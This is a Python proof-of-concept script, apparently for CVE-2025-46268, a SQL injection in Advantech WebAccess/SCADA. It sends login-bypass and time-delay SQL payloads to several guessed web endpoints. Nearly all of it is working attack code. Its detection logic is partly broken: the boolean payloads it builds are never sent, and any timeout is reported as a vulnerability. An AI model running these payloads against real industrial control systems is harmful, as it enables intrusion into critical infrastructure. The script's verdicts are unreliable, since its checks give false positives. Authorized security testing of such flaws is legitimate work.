CVE-2025-46268: Advantech WebAccess/SCADA SQL注入漏洞

# CVE-2025-46268 SQL Injection PoC for Advantech WebAccess/SCADA # Target: Advantech WebAccess/SCADA # Vulnerability: SQL Injection in web interface import requests import sys def test_sql_injection(target_url): """ Test for SQL injection vulnerability in Advantech WebAccess/SCADA This PoC demonstrates blind boolean-based SQL injection """ # Common injection points in SCADA applications injection_points = [ "/nodeapi/NodeLogin", "/WADashboard/Service", "/scada/Service", "/api/auth/login" ] # Payload for testing boolean-based blind SQL injection # Original param + sleep(5) to verify time-based injection test_payload = "' OR 1=1 --" print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-46268 SQL Injection Test") for endpoint in injection_points: url = target_url.rstrip('/') + endpoint # Test data - adjust based on actual application parameters data = { "username": test_payload, "password": "test" } try: print(f"\n[+] Testing endpoint: {endpoint}") # Time-based test time_payload = "' WAITFOR DELAY '0:0:5' --" test_data = {"username": time_payload, "password": "test"} response = requests.post(url, data=test_data, timeout=10) if response.elapsed.total_seconds() >= 5: print(f"[!] VULNERABLE: Time-based SQL injection detected at {endpoint}") print(f"[!] Response time: {response.elapsed.total_seconds()}s") return True # Boolean-based test true_payload = "' OR 1=1 --" false_payload = "' OR 1=2 --" # Check for different responses indicating SQL injection print(f"[*] Testing boolean-based injection...") except requests.exceptions.Timeout: print(f"[!] VULNERABLE: Request timeout at {endpoint} - possible time-based SQLi") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") continue print("\n[*] Basic tests completed. Manual verification recommended.") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = input("Enter target URL (e.g., http://target:8080): ").strip() test_sql_injection(target) print("\n[*] Note: This PoC is for authorized security testing only.")